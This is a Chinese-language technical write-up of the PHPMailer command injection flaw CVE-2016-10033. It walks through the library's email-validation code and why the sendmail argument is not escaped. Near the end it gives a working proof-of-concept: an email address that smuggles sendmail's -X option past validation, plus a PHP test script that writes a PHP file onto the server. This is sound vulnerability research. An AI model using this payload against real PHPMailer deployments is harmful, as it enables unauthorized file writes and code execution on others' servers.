PHPMailer 命令执行漏洞（CVE-2016-10033）分析（含通用POC）

对比一下新老版本：https://github.com/PHPMailer/PHPMailer/compare/v5.2.17…master

其实答案呼之欲出了——和Roundcube的RCE类似，mail函数的第五个参数，传命令参数的地方没有进行转义。

回顾一下当时Roundcube的漏洞：因为mail函数最终是调用的系统的sendmail进行邮件发送，而sendmail支持-X参数，通过这个参数可以将日志写入指定文件。可以写文件，当然就可以写shell，造成RCE了。

详细分析一下，下载一份源码，并切换到5.2.17版本：

git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

单步调试可以发现确实和之前Roundcube出现的漏洞（ http://wiki.ioin.in/search?word=roundcube ）一样，是传给mail函数的第五个参数没有正确过滤：

但上图是错的，因为这里是不支持bash的一些语法的，也就是说反引号、${IFS}都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测，这导致我们无法构造出像Roundcube那些可以直接写文件的payload，检测部分的代码如下：

/**
 * Check that a string looks like an email address.
 * @param string $address The email address to check
 * @param string|callable $patternselect A selector for the validation pattern to use :
 * * `auto` Pick best pattern automatically;
 * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
 * * `pcre` Use old PCRE implementation;
 * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
 * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
 * * `noregex` Don't use a regex: super fast, really dumb.
 * Alternatively you may pass in a callable to inject your own validator, for example:
 * PHPMailer::validateAddress('[e-mail]', function($address) {
 * return (strpos($address, '@') !== false);
 * });
 * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
 * @return boolean
 * @static
 * @access public
 */
 public static function validateAddress($address, $patternselect = null)
 {
 if (is_null($patternselect)) {
 $patternselect = self::$validator;
 }
 if (is_callable($patternselect)) {
 return call_user_func($patternselect, $address);
 }
 //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
 return false;
 }
 if (!$patternselect or $patternselect == 'auto') {
 //Check this constant first so it works when extension_loaded() is disabled by safe mode
 //Constant was added in PHP 5.2.4
 if (defined('PCRE_VERSION')) {
 //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
 $patternselect = 'pcre8';
 } else {
 $patternselect = 'pcre';
 }
 } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
 //Fall back to older PCRE
 $patternselect = 'pcre';
 } else {
 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
 $patternselect = 'php';
 } else {
 $patternselect = 'noregex';
 }
 }
 }
 switch ($patternselect) {
 case 'pcre8':
 /**
 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
 * @link http://squiloople.com/2009/12/20/email-address-validation/
 * @copyright 2009-2010 Michael Rushton
 * Feel free to use and redistribute this code. But please keep this copyright notice.
 */
 return (boolean)preg_match(
 '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
 '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
 '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
 '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
 '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
 '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
 '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
 '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
 '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
 $address
 );
 case 'pcre':
 //An older regex that doesn't need a recent PCRE
 return (boolean)preg_match(
 '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
 '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
 '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
 '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
 '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
 '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
 '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
 '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
 '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
 '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
 $address
 );
 case 'html5':
 /**
 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
 */
 return (boolean)preg_match(
 '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
 '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
 $address
 );
 case 'noregex':
 //No PCRE! Do something _very_ approximate!
 //Check the address is 3 chars or longer and contains an @ that's not the first or last char
 return (strlen($address) >= 3
 and strpos($address, '@') >= 1
 and strpos($address, '@') != strlen($address) - 1);
 case 'php':
 default:
 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
 }
 }

其他的地方我就不分析了，只分析上面这个函数，这个函数有这个特点

1. 默认patternselect==‘auto’，它会自动选择一个方式对email进行检测
2. 如果php支持正则PCRE（也就是包含preg_replace函数），就用正则的方式来检查，就是那一大串很难读懂的正则
3. 如果php不支持PCRE，且PHP版本大于PHP5.2.0，就是用PHP自带的filter来检查email
4. 如果php不支持PCRE，且PHP版本低于PHP5.2.0，就直接检查email中是否包含@

所以，根据现在的分析（注意，不是最终分析），如果想绕过这个email的检查，目标PHP环境必须有以下两个条件：

1. PHP版本小于5.2.0
2. PHP不支持正则表达式，即没有安装PCRE扩展（默认是安装的）

那么如果目标PHP环境不满足上述条件，是不是就绝对不会出现漏洞了呢？当然答案也是否定的，我提两种可能的情况。

开发者手工指定Email检查方法

PHPMailer是支持让开发者手工指定Email的检测方法的：

如果开发者编写了上述画框的代码，那么这里就是存在漏洞的，因为其只检查Email中是否包含@。

开发者指定PHPMailer::$validator = ‘noregex’

我们看到validateAddress函数：

public static function validateAddress($address, $patternselect = null)
{
 if (is_null($patternselect)) {
 $patternselect = self::$validator;
 }

$patternselect默认是根据self::$validator来确定的，如果开发者指定了PHPMailer::$validator = ‘noregex’，也就可以绕过validateAddress函数了。

分析一下Email正则

那么，这真的是一个鸡肋漏洞么？年轻人，多思考一下。

如果想把漏洞变成一个可用的好漏洞，需要去绕过Email的正则，我们来分析一下：

preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);

中间的分析过程我后面慢慢写，多研究一下你会发现，在@前面，如果加上括号，将可以引入空格，我的payload如下：

aaa( -X/home/www/success.php )@qq.com

测试代码：

<?php
require 'PHPMailer/PHPMailerAutoload.php';

function send($from) {
 $mail = new PHPMailer;

$mail->setFrom($from);
 $mail->addAddress('[e-mail]', 'Joe User'); // Add a recipient

$mail->isHTML(true); // Set email format to HTML

$mail->Subject = '<?php phpinfo(); ?>';
 $mail->Body = 'This is the HTML message body <b>in bold!</b>';
 $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

if(!$mail->send()) {
 echo 'Message could not be sent.';
 echo 'Mailer Error: ' . $mail->ErrorInfo;
 } else {
 echo 'Message has been sent' . "\n";
 }

unset($mail);
}

$address = "aaa( -X/home/www/success.php )@qq.com";

send($address);

执行：

成功写入success.php。

利用这个payload，是无需PHP满足什么条件的，通用写文件Payload。